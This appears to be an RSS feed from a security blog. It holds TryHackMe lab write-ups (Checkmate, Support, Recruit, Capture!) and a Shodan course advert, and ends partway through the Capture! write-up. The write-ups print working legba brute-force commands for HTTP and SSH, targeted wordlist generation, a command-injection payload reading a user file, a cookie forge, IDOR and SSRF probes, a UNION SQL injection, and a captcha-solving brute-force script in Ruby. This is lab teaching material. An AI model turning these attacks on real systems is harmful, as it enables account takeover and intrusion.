Rawsec https://blog.raw.pm/ Security is everywhere All rights reserved 2026, Alexandre ZANNI Tue, 14 Jul 2026 22:36:16 GMT Hexo Checkmate - Write-up - TryHackMe https://blog.raw.pm/en/TryHackMe-Checkmate-write-up/ Information

Room#

  • Name: Checkmate
  • <]]> Alexandre ZANNI writeups security web ssh writeups thm password wordlist Wed, 15 Jul 2026 00:30:00 GMT Information

    Room#

    • Name: Checkmate
    • Profile: tryhackme.com
    • Difficulty: Easy
    • Description: Exploit weak password practices across Marco’s internal systems to achieve full compromise.

    Checkmate

    Write-up

    Overview#

    Install tools used in this WU on BlackArch Linux:

    sudo pacman -S legba cewl cupp john ruby

    Context#

    Marco Bianchi, a systems administrator, recently deployed several internal services, including a console, employee portal, social platform, and access to critical infrastructure. Due to tight deadlines and operational pressure, Marco reused weak, predictable, and pattern-based passwords across multiple systems.

    Your objective is to conduct a password security assessment to identify weaknesses in Marco’s authentication practices.

    Start by accessing the main application at http://10.128.131.76:5000. From there, you will be guided through each stage of the challenge, uncovering and exploiting weaknesses in Marco’s password usage.

    Level 1#

    Marco deployed a firewall at firewall.thm:5001 but kept default credentials.

    On http://10.128.131.76:5001/ there is a FirewallOS authentication page.

    Trying to find teh default password by hand is tedious, let's use legba for that.

    ➜ legba http \  -U 'admin' \  -P /usr/share/wordlists/passwords/rockyou.txt \  -T http://10.128.131.76:5001/login \  --http-method POST \  --http-success '!contains(body, "Invalid credentials")' \  --http-payload 'username={USERNAME}&password={PASSWORD}' \  --single-match \  -Qlegba v1.3.0[INFO ] target: http://10.128.131.76:5001/login[INFO ] validating http success condition:  ! contains  ,   body  "Invalid credentials"[WARN ] http://10.128.131.76:5001/login validates success condition for a non existent page starting with a dot, likely false positives: Success { status: 404, content_type: "text/html; charset=utf-8", size: 207 }[WARN ] http://10.128.131.76:5001/login validates success condition for a non existent page, likely false positives: Success { status: 404, content_type: "text/html; charset=utf-8", size: 207 }[INFO ] username -> string 'admin'[INFO ] password -> wordlist /usr/share/wordlists/passwords/rockyou.txt[INFO ] [2026-07-12 21:16:43] (http) <http://10.128.131.76:5001/login> username=admin password=EDITED[INFO ] runtime 2.857867428s

    Level 2#

    Marco built an internal Employee Login panel on jobs.thm:5002 and used common company keywords as passwords.

    On http://10.128.131.76:5002/, we can use cewl to create a wordlist based on the words on the webpage.

    cewl -d 2 -m 3 --lowercase -w $(pwd)/cewl_words.txt http://10.128.131.76:5002/

    The we can use legba again.

    ➜ legba http \  -U 'marco' \  -P cewl_words.txt \  -T http://10.128.131.76:5002/login \  --http-method POST \  --http-success '!contains(body, "Invalid credentials")' \  --http-payload 'username={USERNAME}&password={PASSWORD}' \  --single-match \  -Qlegba v1.3.0[INFO ] target: http://10.128.131.76:5002/login[INFO ] validating http success condition:  ! contains  ,   body  "Invalid credentials"[WARN ] http://10.128.131.76:5002/login validates success condition for a non existent page starting with a dot, likely false positives: Success { status: 404, content_type: "text/html; charset=utf-8", size: 207 }[WARN ] http://10.128.131.76:5002/login validates success condition for a non existent page, likely false positives: Success { status: 404, content_type: "text/html; charset=utf-8", size: 207 }[INFO ] username -> string 'marco'[INFO ] password -> wordlist cewl_words.txt[INFO ] [2026-07-14 20:47:27] (http) <http://10.128.131.76:5002/login> username=marco password=EDITED[INFO ] runtime 1.001801332s

    Level 3#

    Navigate to social.thm:5003 and derive Marco's password from personal info.

    Let's retrieve Marco personnal data on the previous app.

    marcobianchiitoperationsmarky14021995

    Then let's use cupp to create a password lsit based on his profile.

    ➜ cupp -i[…]> First Name: marco> Surname: bianchi> Nickname: marky> Birthdate (DDMMYYYY): 14021995[…]> Do you want to add some key words about the victim? Y/[N]: Y> Please enter the words, separated by comma. [i.e. hacker,juice,black], spaces will be removed: it,operations> Do you want to add special chars at the end of words? Y/[N]:> Do you want to add some random numbers at the end of words? Y/[N]:Y> Leet mode? (i.e. leet = 1337) Y/[N]: N[+] Now making a dictionary...[+] Sorting list and removing duplicates...[+] Saving dictionary to marco.txt, counting 4630 words.> Hyperspeed Print? (Y/n) :[+] Now load your pistolero with marco.txt and shoot! Good luck!

    We're still using legba for the brute-force.

    ➜ legba http \  -U 'marco' \  -P marco.txt \  -T http://10.128.131.76:5003/login \  --http-method POST \  --http-success '!contains(body, "Invalid credentials")' \  --http-payload 'username={USERNAME}&password={PASSWORD}' \  --single-match \  -Qlegba v1.3.0[INFO ] target: http://10.128.131.76:5003/login[INFO ] validating http success condition:  ! contains  ,   body  "Invalid credentials"[WARN ] http://10.128.131.76:5003/login validates success condition for a non existent page starting with a dot, likely false positives: Success { status: 404, content_type: "text/html; charset=utf-8", size: 207 }[WARN ] http://10.128.131.76:5003/login validates success condition for a non existent page, likely false positives: Success { status: 404, content_type: "text/html; charset=utf-8", size: 207 }[INFO ] username -> string 'marco'[INFO ] password -> wordlist marco.txt[INFO ] [2026-07-14 21:05:52] (http) <http://10.128.131.76:5003/login> username=marco password=Bianchi2495[INFO ] runtime 1.872701179s

    Level 4#

    On social.thm:5003, Marco recently uploaded a new profile picture. For privacy and storage consistency, the platform automatically renames uploaded files to the SHA256 hash of the original filename and saves them in the format (SHA256).png. Your task is to identify the original filename of Marco’s uploaded profile picture. Submit only the filename to proceed.

    The image name d34a569ab7aaa54dacd715ae64953455d86b768846cd0085ef4e9e7471489b7b.png, so it's the sha256 of the filname.

    Let's try to brute-force the filename using a simple dictionary.

    ➜ john image.txt --wordlist=/usr/share/wordlists/passwords/rockyou.txt --fork=4 --format=raw-sha256Using default input encoding: UTF-8Loaded 1 password hash (Raw-SHA256 [SHA256 128/128 AVX 4x])Warning: OpenMP was disabled due to --fork; a non-OpenMP build may be fasterNode numbers 1-4 of 4 (fork)Press 'q' or Ctrl-C to abort, almost any other key for statusEDITED           (?)4 1g 0:00:00:00 DONE (2026-07-14 21:15) 1.515g/s 387.8p/s 387.8c/s 387.8C/s password..bethany1 0g 0:00:00:02 DONE (2026-07-14 21:15) 0g/s 1552Kp/s 1552Kc/s 1552KC/s  benzbenz.abygurl69Waiting for 3 children to terminate2 0g 0:00:00:02 DONE (2026-07-14 21:15) 0g/s 1552Kp/s 1552Kc/s 1552KC/s  god143.a6_1233 0g 0:00:00:02 DONE (2026-07-14 21:15) 0g/s 1552Kp/s 1552Kc/s 1552KC/s  fabian..*7¡Vamos!Session completed

    Level 5#

    Marco has revealed his password pattern on social.thm:5003, using predictable rules based on keywords and formatting. Use this information to generate a targeted wordlist and brute-force the SSH service with username marco.

    Marco tips are:

    My tip for strong passsord: I take a company keyword, capitalize it, then append the year like 2024 or any other number and an exclamation mark.

    We can re-use cewl_words.txt as base wordlist.

    It's a bit tedious doing this rules with just one hashcat or john command because they don't like to mix rules and masks. It's quicker to just do it in Ruby.

    #!/usr/bin/env rubyinput_file = "cewl_words.txt"output_file = "cewl_words_marco.txt"File.open(input_file, "r") do |in_file|  File.open(output_file, "w") do |out_file|    in_file.each_line do |word|      word = word.strip      next if word.empty?      (0..99).each do |year|        out_file.puts "#{word.capitalize}20#{year.to_s.rjust(2, '0')}!"      end    end  endend
    ruby mangler.rb

    legba kept crashing for ssh, in fact is was timeout issue but legba is very aggressive with that and does not try to auto-calibrate, so I had to set a high ammount (5 seconds) to let the server answer before legba stopped waiting.

    ➜ legba ssh \  -U 'marco' \  -P cewl_words_marco.txt \  -T 10.128.131.76:22 \  --single-match \  --ssh-auth-mode password \  --timeout 5000 \  -Qlegba v1.3.0[INFO ] target: 10.128.131.76:22[INFO ] username -> string 'marco'[INFO ] password -> wordlist cewl_words_marco.txt    [INFO ] [2026-07-14 22:12:52] (ssh) <10.128.131.76:22> username=marco password=EDITED
    ]]>     Nouveau cours sur le hacking avec Shodan sur Lesso https://blog.raw.pm/fr/cours-shodan/ 🔍 Maîtrisez Shodan comme un Pro du Pentest et du Bug Bounty

    Vous êtes pentester, chasseur de bug ou passionné d’OSINT ? Vous av]]> Alexandre ZANNI security security shodan osint pentest Mon, 13 Jul 2026 00:00:00 GMT 🔍 Maîtrisez Shodan comme un Pro du Pentest et du Bug Bounty

    Vous êtes pentester, chasseur de bug ou passionné d’OSINT ? Vous avez déjà entendu parler de Shodan, ce moteur de recherche pas comme les autres qui scrute l’ensemble des appareils connectés à Internet. Mais savez-vous vraiment exploiter sa puissance pour découvrir des failles critiques, cartographier des cibles ou automatiser vos reconnaissances ?

    Ce cours n’est pas une simple énumération de fonctionnalités. C’est un guide de combat conçu pour transformer Shodan en votre allié le plus redoutable. Que vous cherchiez à renforcer vos tests d’intrusion ou à dénicher des vulnérabilités pour un bug bounty, chaque module vous apporte une compétence directement actionnable.

    Shodan for Penetration Testers and Bug Bounty Hunters (Lesso)

    🎯 Ce que vous allez apprendre#

    • Les fondamentaux – Comprendre Shodan, ses clés API, ses crédits, et comment installer l’outil en ligne de commande pour gagner en efficacité.
    • Les commandes essentielles – Rechercher, compter, télécharger et analyser des données comme un expert.
    • L’interface web – Utiliser les cartes, les images, les statistiques, les rapports et les exploits pour contextualiser vos découvertes.
    • Les outils spécialisés – Plongez dans le Developer Dashboard, le Network Monitor, et les requêtes communautaires pour ne rien laisser au hasard.
    • L’intégration programmatique – Avec des bibliothèques en Python (shodan-python), Ruby (shodanz) et Node.js (shodan-client), vous pourrez automatiser vos workflows et les intégrer à vos propres outils.
    • Les filtres de recherche avancés – Maîtrisez les banners, les propriétés des hôtes, et les dorks qui feront la différence entre une recherche basique et une chasse aux trésors.
    • Les outils externes – Découvrez des projets qui tirent parti de Shodan et explorez des alternatives pour élargir votre panorama OSINT.

    Shodan for Penetration Testers and Bug Bounty Hunters (Lesso)

    🚀 Pourquoi ce cours est fait pour vous#

    • 100 % pratique – Chaque leçon est illustrée par des exemples concrets, des snippets de code, et des cas d’usage réels.
    • À jour avec l’écosystème – Nous couvrons les versions récentes de l’API, les bibliothèques et les plugins navigateurs.
    • Gain de temps immédiat – Plus besoin de fouiller la documentation pendant des heures : tout est synthétisé, testé et expliqué clairement.
    • Adapté à tous les niveaux – Débutant avec Shodan ? Les premières leçons vous mettent à niveau. Expert ? Les sections avancées vous feront découvrir des astuces que vous ignoriez.

    Shodan for Penetration Testers and Bug Bounty Hunters (Lesso)

    💡 Un aperçu du programme#

    1. Les bases (Leçons 1 à 4) : Installation, CLI, première recherche.
    2. Fonctionnalités clés (Leçons 5 à 15) : Statistiques, téléchargement, rapports, cartes, exploits, partage, etc.
    3. Automatisation (Leçons 16 à 19) : Utilisation des API et bibliothèques dans vos langages favoris.
    4. Maîtrise des filtres (Leçons 21 à 23) : Banners, propriétés, dorks – le langage secret de Shodan.
    5. Écosystème & bonus (Leçons 20, 24, 25) : Plugins, outils complémentaires, alternatives et usages avancés.

    Shodan for Penetration Testers and Bug Bounty Hunters (Lesso)

    🛡️ Pour qui ?#

    • Pentesters – Élargissez votre surface d’attaque et peaufinez vos rapports.
    • Bug Bounty Hunters – Trouvez des cibles mal configurées avant tout le monde.
    • Chercheurs en sécurité – Alimentez vos investigations OSINT avec des données inédites.
    • Développeurs – Intégrez Shodan dans vos propres applications de monitoring.

    Shodan for Penetration Testers and Bug Bounty Hunters (Lesso)

    ✨ Ne restez pas en surface#

    Shodan est bien plus qu’un moteur de recherche. C’est une plateforme de renseignement qui révèle la face cachée d’Internet. Avec ce cours, vous ne vous contenterez plus de survoler les résultats : vous saurez interpréter chaque banner, affiner chaque requête et automatiser chaque étape de votre reconnaissance.

    Alors, prêt à passer à la vitesse supérieure ?

    👉 Obtenez le cours dès maintenant et faites de Shodan votre arme secrète pour vos missions de pentest et de bug bounty.

    Retours d'expérience#

    Un sujet n'est pas traité ? Un contenu n'est plus à jour ? Une erreur s'est glissée ?Pas de problème, contactez-moi sur Twitter / X ou Discord, je mettrai à jour le cours.

    ]]>     New course about hacking with Shodan on Lesso https://blog.raw.pm/en/shodan-course/ 🔍 Master Shodan Like a Pentest & Bug Bounty Pro

    Are you a pentester, bug bounty hunter, or OSINT enthusiast? You’ve probabl]]> Alexandre ZANNI security security shodan osint pentest Mon, 13 Jul 2026 00:00:00 GMT 🔍 Master Shodan Like a Pentest & Bug Bounty Pro

    Are you a pentester, bug bounty hunter, or OSINT enthusiast? You’ve probably heard of Shodan—the search engine that doesn’t crawl websites, but scans the entire internet for connected devices. But do you truly know how to harness its power to uncover critical vulnerabilities, map attack surfaces, and automate your recon at scale?

    This isn’t just another feature list. This is a field manual designed to turn Shodan into your deadliest ally. Whether you're sharpening your penetration testing skills or hunting for high-severity bugs, each module delivers a directly actionable skill that will set you apart.

    Shodan for Penetration Testers and Bug Bounty Hunters (Lesso)

    🎯 What You’ll Learn#

    • The Foundations – Understand Shodan, its API keys, credit system, and install the command-line tool for lightning-fast efficiency.
    • Essential Commands – Search, count, download, and parse data like a seasoned operator.
    • The Web Interface – Leverage maps, images, statistics, report generation, and the exploit database to give context to your discoveries.
    • Specialized Tools – Dive into the Developer Dashboard, Network Monitor, and community-shared queries to leave no stone unturned.
    • Programmatic Integration – Automate your workflows using the official libraries for Python (shodan-python), Ruby (shodanz), and Node.js (shodan-client). Build your own tools on top of Shodan.
    • Advanced Filters – Master banners, host properties, and dorks that make the difference between a basic search and a treasure hunt.
    • The Ecosystem – Discover third-party tools that leverage Shodan, browser plugins, and even explore alternatives to broaden your OSINT perspective.

    Shodan for Penetration Testers and Bug Bounty Hunters (Lesso)

    🚀 Why This Course Is For You#

    • 100% Practical – Every lesson is packed with concrete examples, real-world snippets, and actual use cases you’ll encounter in the field.
    • Up-to-Date – We cover the latest API versions, library updates, and modern browser extensions.
    • Instant Time-Saver – Stop wasting hours digging through scattered documentation. Everything is synthesized, tested, and clearly explained.
    • All Skill Levels Welcome – New to Shodan? The first lessons will get you up to speed. An expert? The advanced sections will reveal tricks you probably didn't know.

    Shodan for Penetration Testers and Bug Bounty Hunters (Lesso)

    💡 Program Sneak Peek#

    1. The Essentials (Lessons 1–4) : Installation, CLI basics, and your first search.
    2. Core Features (Lessons 5–15) : Statistics, downloads, reports, maps, exploits, sharing, and more.
    3. Automation (Lessons 16–19) : Using REST APIs and native libraries in your favorite languages.
    4. Filter Mastery (Lessons 21–23) : Banners, properties, and dorks—the secret language of Shodan.
    5. Ecosystem & Bonuses (Lessons 20, 24, 25) : Plugins, complementary tools, advanced use cases, and alternatives.

    Shodan for Penetration Testers and Bug Bounty Hunters (Lesso)

    🛡️ Who Is This For?#

    • Pentesters – Expand your attack surface and deliver more comprehensive reports.
    • Bug Bounty Hunters – Find misconfigured targets and low-hanging fruit before anyone else.
    • Security Researchers – Fuel your OSINT investigations with unique, actionable internet-wide data.
    • Developers – Seamlessly integrate Shodan into your own monitoring and security applications.

    Shodan for Penetration Testers and Bug Bounty Hunters (Lesso)

    ✨ Don't Stay on the Surface#

    Shodan is far more than a search engine. It's an intelligence platform that reveals the hidden layers of the internet. With this course, you won't just skim through results—you'll interpret every banner, refine every query, and automate every step of your reconnaissance workflow.

    Ready to level up?

    👉 Get the course now and make Shodan your ultimate secret weapon for pentesting and bug bounty missions.

    Feedback#

    Is there a topic that hasn't been covered? Is some content out of date? Did a mistake slip in?No problem—contact me on Twitter / X or Discord, and I'll update the course.

    ]]>     Support - Write-up - TryHackMe https://blog.raw.pm/en/TryHackMe-Support-write-up/ Information

    Room#

    • Name: Support
    • Alexandre ZANNI writeups security web writeups rce thm wordlist idor lfd credential stuffing Thu, 11 Jun 2026 22:19:00 GMT Information

      Room#

      • Name: Support
      • Profile: tryhackme.com
      • Difficulty: Medium
      • Description: Pentest the Support Ops platform to exploit vulnerabilities and achieve RCE.

      Support

      Write-up

      Overview#

      Install tools used in this WU on BlackArch Linux:

      sudo pacman -S nmap ffuf legba curl john

      Network discovery#

      Let's perform a network scan on the target.

      # Nmap 7.99 scan initiated Thu Jun 11 01:39:58 2026 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap_10.129.173.118 10.129.173.118Nmap scan report for 10.129.173.118Host is up, received echo-reply ttl 62 (0.080s latency).Not shown: 63598 closed tcp ports (reset), 1935 filtered tcp ports (no-response)Some closed ports may be reported as filtered due to --defeat-rst-ratelimitPORT   STATE SERVICE REASON         VERSION22/tcp open  ssh     syn-ack ttl 62 OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:|   256 8e:a3:75:56:d3:96:ca:64:e7:1b:e6:ae:15:d3:e5:35 (ECDSA)|_  256 de:f6:d8:7f:a8:3c:2e:27:f9:43:b1:77:bc:59:26:34 (ED25519)80/tcp open  http    syn-ack ttl 62 Apache httpd 2.4.58 ((Ubuntu))|_http-title: Support Operations Panel|_http-server-header: Apache/2.4.58 (Ubuntu)| http-cookie-flags:|   /:|     PHPSESSID:|_      httponly flag not set| http-methods:|_  Supported Methods: GET HEAD POST OPTIONSService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelRead data files from: /usr/bin/../share/nmapService detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Thu Jun 11 01:40:37 2026 -- 1 IP address (1 host up) scanned in 39.62 seconds

      Nothing outside the web app and a ssh server.

      Web enumeration#

      ➜ ffuf -u http://10.129.173.118/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt[…]       v2.1.0-dev________________________________________________ :: Method           : GET :: URL              : http://10.129.173.118/FUZZ :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt :: Follow redirects : false :: Calibration      : false :: Timeout          : 10 :: Threads          : 40 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500________________________________________________js                      [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 849ms]skins                   [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 47ms]layout                  [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 47ms]includes                [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 2856ms]server-status           [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 75ms]:: Progress: [26583/26583] :: Job [1/1] :: 621 req/sec :: Duration: [0:00:46] :: Errors: 1 ::

      Directory listing is enabled on those folders. This may be interesting later (easily discovering the files available).

      ➜ ffuf -u http://10.129.173.118/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt[…]       v2.1.0-dev________________________________________________ :: Method           : GET :: URL              : http://10.129.173.118/FUZZ :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt :: Follow redirects : false :: Calibration      : false :: Timeout          : 10 :: Threads          : 40 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500________________________________________________index.php               [Status: 200, Size: 2591, Words: 866, Lines: 93, Duration: 56ms]config.php              [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 67ms]footer.php              [Status: 200, Size: 1253, Words: 377, Lines: 39, Duration: 51ms]logout.php              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 46ms].htaccess               [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 56ms]api.php                 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 52ms]info.php                [Status: 200, Size: 73369, Words: 3585, Lines: 821, Duration: 60ms].                       [Status: 200, Size: 2591, Words: 866, Lines: 93, Duration: 45ms].html                   [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 48ms].php                    [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 41ms]dashboard.php           [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 76ms].htpasswd               [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 179ms].htm                    [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 55ms].htpasswds              [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 72ms].htgroup                [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 65ms]wp-forum.phps           [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 59ms].htaccess.bak           [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 49ms].htuser                 [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 64ms].htc                    [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 66ms].ht                     [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 66ms]:: Progress: [16244/16244] :: Job [1/1] :: 598 req/sec :: Duration: [0:00:29] :: Errors: 0 ::

      We can access a phpinfo() at /info.php. No interesting secrets to find here.

      Quick SQLi tests on the login form is not giving any result.

      Vhost enumeration not giving anything either.

      ➜ ffuf -u http://10.129.173.118/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -H 'Host: FUZZ.support.thm' -fs 2591➜ ffuf -u http://10.129.173.118/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -H 'Host: FUZZ.support.thm' -fs 2591

      http://10.129.173.118/footer.php is interesting, there is a menu to select a skin, that matches the files we observed in the skins/ folder. There is a serious potential of local file disclosure here (LFD).

      <ul class="dropdown-menu dropdown-menu-end">    <li><a class="dropdown-item" href="?skin=default">Default</a></li>    <li><a class="dropdown-item text-danger" href="?skin=red">Red</a></li>    <li><a class="dropdown-item text-success" href="?skin=green">Green</a></li>    <li><a class="dropdown-item text-primary" href="?skin=blue">Blue</a></li></ul>

      However, calling ?skin=red on the footer page or the homepage changes nothing. But this may be usefull later when we'll have access to the dashboard.

      Authentication wordlist attack#

      Anything juicy is authenticated, so let's attack the password of the help@support.thm account.

      $ legba http \  -U 'help@support.thm' \  -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \  -T http://10.129.173.118/ \  --http-method POST \  --http-success '!contains(body, "Invalid credentials")' \  --http-payload 'email={USERNAME}&password={PASSWORD}' \  --single-match \  -Q[…][INFO ] [2026-06-11 02:33:20] (http) <http://10.129.173.118/> username=help@support.thm password=REDACTED[…]

      Local file disclosure (LFD)#

      We already identified the LFD earlier in the footer, now that we are authenticated is the time to exploit it.

      /dashboard.php?skin=../config

      /dashboard.php?skin=../index

      /dashboard.php?skin=../dashboard

      So it's clear we'll have access to an API if we are from the IT department. For that, we only need to set the value to md5("true") in the isITUser cookie.

      ➜ printf %s true | md5sumb326b5062b2f0e69046810717534cb09  -

      IDOR#

      Let's take a look at the API code:

      /dashboard.php?skin=../api

      We can query ourself, and confirm we are not admin (yet).

      http://10.129.173.118/user/3

      {    "email": "help@support.thm",    "2FA": false,    "admin": false}

      However, user n°1 is.

      http://10.129.173.118/user/1

      {    "email": "specialadmin@support.thm",    "2FA": false,    "admin": true}

      Authentication wordlist attack (again)#

      Let's try to authenticate as specialadmin@support.thm by attacking its password with a wordlist of common passwords.

      ➜ legba http \  -U 'specialadmin@support.thm' \  -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \  -T http://10.129.173.118/ \  --http-method POST \  --http-success '!contains(body, "Invalid credentials")' \  --http-payload 'email={USERNAME}&password={PASSWORD}' \  --single-match \  -Q

      However, this time it's not working.

      Credential stuffing#

      Let's try to re-use the password in MASTER_PASSWORD from config.php.

      However, it's not working.

      Generating wordlist with mangling / mutation rules#

      Let's try to generate a list of similar passwords from the one we found. We can do this with john.

      john --wordlist=MASTER_PASSWORD.txt --stdout --rules:rockyou-30000 > rockyou-30000.txt

      Let's re-launch the wordlist attack with our custom list.

      ➜ legba http \  -U 'specialadmin@support.thm' \  -P rockyou-30000.txt \  -T http://10.129.173.118/ \  --http-method POST \  --http-success '!contains(body, "Invalid credentials")' \  --http-payload 'email={USERNAME}&password={PASSWORD}' \  --single-match \  -Q[…][INFO ] [2026-06-11 03:17:24] (http) <http://10.129.173.118/> username=specialadmin@support.thm password=REDACTED[…]

      Once authenticated with the account, we have the admin flag.

      RCE#

      We can't read the /home/ubuntu/user.txt flag with the LFD because of the .php suffix (and we're running PHP 8, not 5, so no null byte cropping).

      Once logged in as admin, we have a new feature to display the date or the time in the footer.

      /dashboard.php?skin=../footer

      Let's perform basic command injection and use the following payload instead.

      sys=date+%2B%22%25H%3A%25M%3A%25S%22; id; cat /home/ubuntu/user.txt

      The footer now displays:

      01:33:39uid=33(www-data) gid=33(www-data) groups=33(www-data)THM{REDACTED}
      ]]>       Recruit - Write-up - TryHackMe https://blog.raw.pm/en/TryHackMe-Recruit-write-up/ Information

      Room#

      • Name: Recruit
      • Alexandre ZANNI writeups security web writeups ssrf sqli thm Tue, 09 Jun 2026 22:15:00 GMT Information

        Room#

        • Name: Recruit
        • Profile: tryhackme.com
        • Difficulty: Medium
        • Description: Infiltrate Recruit's new portal. Map the site, hunt for flaws, and gain unauthorised access

        Recruit

        Write-up

        Overview#

        Install tools used in this WU on BlackArch Linux:

        sudo pacman -S curl

        Web reconnaissance - SSRF#

        On the home page (/) we can find a login form, try a few SQL injection payloads, fail and switch to something else.

        There is also a Access API link pointing to /api.php to gives us so documentation about an API. Especially the /file.php?cv=<URL> endpoint that may be able to fetch CVs.

        • URL: http://nul3j00rf5gj4hx46d278hoan1tshj58.oastify.com ➡️ Only local files are allowed
        • file path: /etc/passwd ➡️ Only local files are allowed
        • file protocol (absolute path): file:///etc/passwd ➡️ Access denied
        • file protocol (relative path): file://api.php or file://file.php ✅

        Source code review#

        We can't read /var/www/db.php because it's outside /var/www/html whitelisted root path.

        User flag#

        Logging in with hr and $HR_PASSWORD allows to fetch the user flag.

        Admin flag - SQL injection#

        Now we can read dashboard.php to try to elevate our privilegies.

        Looking at how the search is performed, we can trigger an SQL injection to read the admin's password.

        SELECT * FROM candidates WHERE name LIKE '%    ' UNION SELECT null,null,password,null FROM users -- -%'

        Connecting with ADMIN give the admin's flag.

        ]]>         Capture! - Write-up - TryHackMe https://blog.raw.pm/en/TryHackMe-Capture-write-up/ Information

        Room#

        • Name: Capture!
        • Alexandre ZANNI writeups security web writeups thm bruteforce captcha Tue, 07 Apr 2026 01:33:00 GMT Information

          Room#

          • Name: Capture!
          • Profile: tryhackme.com
          • Difficulty: Easy
          • Description: Can you bypass the login form?

          Capture!

          Write-up

          Overview#

          Install tools used in this WU on BlackArch Linux:

          sudo pacman -S ruby

          Brute-force attack#

          While trying some dummy credentials, we get the following error:

          Error: The user 'admin' does not exist

          So we can uncorrelate the identification of the username and the password.To lower the attack complexity we can launch the attack in two steps, one to identify valid usernames thanks to the non-generic error message, and another two try passwords on valid accounts.

          However, after too many failed attempts (error Too many bad login attempts!) a captcha is required. Hopefully, the captcha is textual and made of simple calculations, so its solution can be automated easily.

          Calculation#

          The username file contains 878 entries and the password one 1567 entries.

          ➜ wc *.txt 1566  1568 13803 passwords.txt  877   878  6870 usernames.txt 2443  2446 20673 total

          That would make 1 059 346 attempts in total via correlated brute force with a generic error message. At 55 requests per second, this would take more than 5 hours.

          But, for example, if only one user is valid, at maximum we'll have made 878 requests to identify the user, and then will do at max 1567 request to guess the password. Which makes 2445 requests, so at the same rate it would take 44 seconds when being able to test user and password separately.

          Identify valid usernames#

          The command I would have used to identify valid usernames with hydra if there was no captcha would have been the following:

          hydra -L usernames.txt -p 'password' -s 80 -m '/login:username=^USER^&password=^PASS^:F=Error' 10.128.135.145 http-post-form

          Here is my ruby script solution to do the same while handling captchas.

          #!/usr/bin/env rubyrequire 'net/http'require 'uri'# ConfigurationDEBUG = falseTARGET_HOST = '10.128.135.145'TARGET_PORT = 80LOGIN_PATH = '/login'PASSWORD = 'password'USERNAMES_FILE = 'usernames.txt'ERROR_MESSAGES = {  INVALID_USER: /The user &#39;[a-z]+&#39; does not exist/,  CAPTCHA_ENABLED: /Captcha enabled/,  INVALID_CAPTCHA: /Invalid captcha/}uri = URI("http://#{TARGET_HOST}:#{TARGET_PORT}#{LOGIN_PATH}")usernames = File.readlines(USERNAMES_FILE).map(&:chomp)puts "[*] Start user identification"puts "[*] Target: #{TARGET_HOST}:#{TARGET_PORT}"puts "[*] Number of user candidates: #{usernames.count}"putsdef test_credentials(uri, username, password, captcha_mode, previous_res)  http = Net::HTTP.new(uri.host, uri.port)  http.read_timeout = 3  params = {    username: username,    password: password  }  if captcha_mode == true    captcha_value = solve_captcha(previous_res)    params['captcha'] = captcha_value  end  request = Net::HTTP::Post.new(uri.path)  request.set_form_data(params)  begin    response = http.request(request)    if response.body.match?(ERROR_MESSAGES[:INVALID_USER])      return response.body    elsif captcha_mode == false && response.body.match?(ERROR_MESSAGES[:CAPTCHA_ENABLED])      puts '[+] Captcha detected' if DEBUG      return :captcha    elsif captcha_mode == true && response.body.match?(ERROR_MESSAGES[:INVALID_CAPTCHA])      return response.body    else      return true    end  rescue => e    puts "[!] Error: #{e.message}" if DEBUG    return response.body  endenddef solve_captcha(response_body)  # Extract math challenge (eg: "634 + 61 = ?")  if response_body.match?(/\d+\s*[+\-*\/]\s*\d+\s*=\s*\?/)    match = response_body.match(/(\d+)\s*([+\-*\/])\s*(\d+)\s*=\s*\?/)    num1 = match[1].to_i    operator = match[2]    num2 = match[3].to_i    # Resolve calc    result = case operator             when '+' then num1 + num2             when '-' then num1 - num2             when '*' then num1 * num2             when '/' then num1 / num2             end    puts "[+] Solved captcha: #{num1} #{operator} #{num2} = #{result}" if DEBUG    return result.to_s  else    puts "[!] Impossible to extract captcha" if DEBUG    #puts response_body if DEBUG    return nil  endendcaptcha_mode = falseprevious_res = ''usernames.each do |username|  res = test_credentials(uri, username, PASSWORD, captcha_mode, previous_res)  #puts previous_res if DEBUG  if res == true    puts "[+] Success! User found: #{username}"  elsif res == :captcha    puts '[+] Captcha mode enabled' if DEBUG    captcha_mode = true  else    previous_res = res  endend

          Launching it, I identified only one valid user.

          ➜ ruby find_user.rb[*] Start user identification[*] Target: 10.128.135.145:80[*] Number of user candidates: 878[+] Success! User found: edited

          Password identification#

          Then I just had to adjust the script a little to do the same for passwords:

